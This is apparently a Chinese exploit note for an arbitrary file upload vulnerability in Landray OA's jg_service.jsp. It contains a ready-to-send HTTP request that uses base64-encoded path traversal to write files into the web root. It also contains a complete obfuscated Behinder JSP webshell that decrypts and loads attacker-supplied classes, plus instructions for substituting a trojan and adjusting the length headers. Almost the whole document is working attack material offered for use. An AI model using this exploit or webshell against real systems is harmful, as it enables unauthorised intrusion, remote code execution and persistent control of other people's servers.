蓝凌OAjg_service任意文件上传
POST /sys/attachment/sys_att_main/jg_service.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Content-type:
Content-Length: 2444
DBSTEP V3.0 141 0 5860 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vLi4vLi4vLi4vLi4vZWtwL3Jlc291cmNlL2RlbW9kZW1vLnR4dA==
RECORDID=
DIRECTORY=
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
例如 冰蝎3 密码1的请求体
DBSTEP V3.0 121 0 1924 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vLi4vLi4vLi4vLi4vZWtwL3Jlc291cmNlL2RlbW9kZW1vNi5qc3A=
DIRECTORY=
<%! public byte[] A9wY2(String Strings,String k) throws Exception { javax.crypto.Cipher B437D3 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");B437D3.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod("getDecoder").invoke(null);bytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) B437D3.getClass()./*Z91g8897x1*/getDeclaredMethod/*Z91g8897x1*/("doFinal", new Class[]{byte[].class}).invoke(B437D3,new Object[]{bytes});return result;} %><% try { String KAW33b6 = "c4ca4238a0b92382"; session.putValue("u", KAW33b6); byte[] In2OHi0 = A9wY2 (request.getReader().readLine(),KAW33b6); java./*Z91g8897x1*/lang./*Z91g8897x1*/reflect.Method A9wY2 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z91g8897x1*/("defineClass",byte[].class,int/**/.class,int/**/.class); A9wY2.setAccessible(true); Class i = (Class)A9wY2.invoke(Thread.currentThread()./*Z91g8897x1*/getContextClassLoader(), In2OHi0 , 0, In2OHi0.length); Object QEzw = i./*Z91g8897x1*/newInstance(); QEzw.equals(pageContext); } catch (Exception e) {} %>
shell: http://xxx/resource/demodemo.txt HTMLNAME= 为base64编码的文件位置 可以修改成demodemo.jsp 1111111111... 可以修改成木马,但是请求头的值要根据木马长度计算出来数值